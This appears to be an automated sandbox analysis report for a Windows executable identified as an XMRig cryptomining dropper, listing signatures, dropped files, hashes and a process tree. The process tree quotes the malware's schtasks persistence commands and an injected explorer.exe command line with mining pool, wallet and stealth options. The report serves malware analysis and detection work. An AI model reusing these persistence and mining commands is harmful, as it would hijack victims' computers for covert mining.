Analysis

  • max time kernel
    599s
  • max time network
    590s
  • platform
    windows11-21h2_x64
  • resource
    win11-20231215-en
  • resource tags

    arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    20-12-2023 01:43

General

  • Target

    b1c5fd5c0f6a2760eb638414d9bf9b7536b81f45edbd9d509dd085346c67a6ae.exe

  • Size

    256KB

  • MD5

    18d05e20731583a22b495d0d1f107c5b

  • SHA1

    2ced0e3577063ca3613b43661e7df5bc1411ab09

  • SHA256

    b1c5fd5c0f6a2760eb638414d9bf9b7536b81f45edbd9d509dd085346c67a6ae

  • SHA512

    36e73454b0d74088fb39dbec77c45c4106908dc80efc6a0ac8247a538345b4224f3f5e0cf6b39cf8c1687ddcee58ac2e6f24b735c9b9e277c7d064fd82e7a65a

  • SSDEEP

    3072:Cf1BDZ0kVB67Duw9AMcb6FKglbz5107+i9CUVx/kvBFi4lBV5AfeNNu0NiF:C9X0GT6FKgpF107+iNDG5l5AfeNpNs

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 16 IoCs
  • Executes dropped EXE 6 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\b1c5fd5c0f6a2760eb638414d9bf9b7536b81f45edbd9d509dd085346c67a6ae.exe
    "C:\Users\Admin\AppData\Local\Temp\b1c5fd5c0f6a2760eb638414d9bf9b7536b81f45edbd9d509dd085346c67a6ae.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Users\Admin\AppData\Roaming\xmrmine.exe
      C:\Users\Admin\AppData\Roaming\xmrmine.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4596
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "serverpatch" /tr '"c:\users\admin\appdata\roaming\serverpatch.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5052
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "serverpatch" /tr '"c:\users\admin\appdata\roaming\serverpatch.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:1520
      • C:\Users\Admin\appdata\roaming\serverpatch.exe
        "C:\Users\Admin\appdata\roaming\serverpatch.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4672
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "serverpatch" /tr '"c:\users\admin\appdata\roaming\serverpatch.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3028
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "serverpatch" /tr '"c:\users\admin\appdata\roaming\serverpatch.exe"'
            5⤵
            • Creates scheduled task(s)
            PID:1612
        • C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exe
          "C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:2980
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=459jfEXyVheN7bBBRJPjJY7jH8nCKFZKdZrBcyPK6q4b7mQnrxN3sSmU8wAcuVvMxP6sumE9x28XSRCgLgyBvT4VENVJbTQ --pass= --cpu-max-threads-hint=40 --cinit-idle-wait=2 --cinit-idle-cpu=80 --cinit-stealth
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2040
    • C:\Users\Admin\AppData\Roaming\etcmin.exe
      C:\Users\Admin\AppData\Roaming\etcmin.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "rtksmbs" /tr '"c:\users\admin\appdata\roaming\rtksmbs.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4760
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "rtksmbs" /tr '"c:\users\admin\appdata\roaming\rtksmbs.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:3960
      • C:\Users\Admin\appdata\roaming\rtksmbs.exe
        "C:\Users\Admin\appdata\roaming\rtksmbs.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3420
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "rtksmbs" /tr '"c:\users\admin\appdata\roaming\rtksmbs.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4244
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "rtksmbs" /tr '"c:\users\admin\appdata\roaming\rtksmbs.exe"'
            5⤵
            • Creates scheduled task(s)
            PID:5104
        • C:\Users\Admin\appdata\roaming\microsoft\telemetry\sihost32.exe
          "C:\Users\Admin\appdata\roaming\microsoft\telemetry\sihost32.exe"
          4⤵
          • Executes dropped EXE
          PID:3004

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\libs\sihost64.exe

    Filesize

    7KB

    MD5

    f20a5085dbb85927b25ed46a45fe0a13

    SHA1

    41b351e45a7be1d6c6c6918ee65b00f5d69ff787

    SHA256

    370f698a696bd33c167348773c954d3b079ee719d91f7fa10c47e96bd647a235

    SHA512

    4cba09f695db44f05c46511f4ca5a6d2d670f83b93793cfeb09e4112986eff44787061832993aa2dc69ef967327e63a09d4675a1e3dd1433f9ad30391158bc3f

  • C:\Users\Admin\AppData\Roaming\Microsoft\telemetry\sihost32.exe

    Filesize

    8KB

    MD5

    e149663730c0b03c8936baffe9645bb4

    SHA1

    c0fb146c35d48481df4149027953e4ab7be59e95

    SHA256

    33225a857521c55b3456fa11dad3568911c30bc74d408eba8b3f61a2b4118469

    SHA512

    553078b3bb9bab56d3f4df890f798118d4a3ec0d83550c1d9ac20df02ab4a4672fc0cc8ec170de56336679a81f7a0809c1a2de5cedfcddf916ed5768f2275abe

  • C:\Users\Admin\AppData\Roaming\etcmin.exe

    Filesize

    147KB

    MD5

    406f2550d0d4b9b3e2f47994076e8b8b

    SHA1

    01ab414c9d14ef6a10cd1f3c815e2d63ace18822

    SHA256

    4805d0ba5ffb8546fa50acc17332b9582df9b5a067db9ac867723f4db0de4ae0

    SHA512

    73b20eb53172950295b6d3756482cdadb26ec5d0f497e0bc325986f53469f8022405b8789ff7f7624f71a72b20de82571bd45944eb4ab5a34912578d7f05e1d4

  • C:\Users\Admin\AppData\Roaming\xmrmine.exe

    Filesize

    155KB

    MD5

    973037113a1f50e0ca79d3cc42a5ef66

    SHA1

    78235c164ebfa47d613a100abf5c64bed10c1036

    SHA256

    a5decfb1b6c768e361391a8434746026e811683c64ac2c399765999fab1c936c

    SHA512

    d9c41cf4606e971bab34fb0153320111ddd4c92f7b2d729aff583a378045dcd1566b83b2724b65a11ae6c5a5cb4ad35d815eea1e3ce14ef2ce7250b0bf90aa32

  • memory/2040-104-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-114-0x0000000001370000-0x0000000001390000-memory.dmp

    Filesize

    128KB

  • memory/2040-113-0x0000000003140000-0x0000000003160000-memory.dmp

    Filesize

    128KB

  • memory/2040-96-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-95-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-98-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-93-0x0000000000FE0000-0x0000000001000000-memory.dmp

    Filesize

    128KB

  • memory/2040-112-0x0000000001370000-0x0000000001390000-memory.dmp

    Filesize

    128KB

  • memory/2040-111-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-110-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-94-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-109-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-99-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-105-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-97-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-90-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-102-0x0000000001330000-0x0000000001370000-memory.dmp

    Filesize

    256KB

  • memory/2040-88-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-85-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-100-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-101-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/2040-115-0x0000000003140000-0x0000000003160000-memory.dmp

    Filesize

    128KB

  • memory/2880-9-0x0000000000400000-0x000000000042A000-memory.dmp

    Filesize

    168KB

  • memory/2880-11-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/2880-45-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/2880-16-0x0000000002EA0000-0x0000000002EB2000-memory.dmp

    Filesize

    72KB

  • memory/2880-15-0x0000000002F00000-0x0000000002F10000-memory.dmp

    Filesize

    64KB

  • memory/2880-14-0x0000000002E70000-0x0000000002E7A000-memory.dmp

    Filesize

    40KB

  • memory/2880-13-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/2980-70-0x000000001C350000-0x000000001C360000-memory.dmp

    Filesize

    64KB

  • memory/2980-67-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/2980-65-0x0000000000790000-0x0000000000796000-memory.dmp

    Filesize

    24KB

  • memory/2980-103-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/2980-106-0x000000001C350000-0x000000001C360000-memory.dmp

    Filesize

    64KB

  • memory/3004-82-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/3004-107-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/3004-108-0x00000000010B0000-0x00000000010C0000-memory.dmp

    Filesize

    64KB

  • memory/3004-83-0x00000000010B0000-0x00000000010C0000-memory.dmp

    Filesize

    64KB

  • memory/3004-81-0x0000000000620000-0x0000000000626000-memory.dmp

    Filesize

    24KB

  • memory/3420-46-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-50-0x000000001C9A0000-0x000000001C9B0000-memory.dmp

    Filesize

    64KB

  • memory/3420-48-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-91-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/4596-17-0x0000000001750000-0x000000000175E000-memory.dmp

    Filesize

    56KB

  • memory/4596-44-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/4596-18-0x000000001D2C0000-0x000000001D2D0000-memory.dmp

    Filesize

    64KB

  • memory/4596-12-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/4596-10-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/4596-8-0x0000000000E00000-0x0000000000E2A000-memory.dmp

    Filesize

    168KB

  • memory/4672-92-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/4672-47-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/4672-40-0x00007FFEB7F90000-0x00007FFEB8A52000-memory.dmp

    Filesize

    10.8MB

  • memory/4672-49-0x0000000000F40000-0x0000000000F50000-memory.dmp

    Filesize

    64KB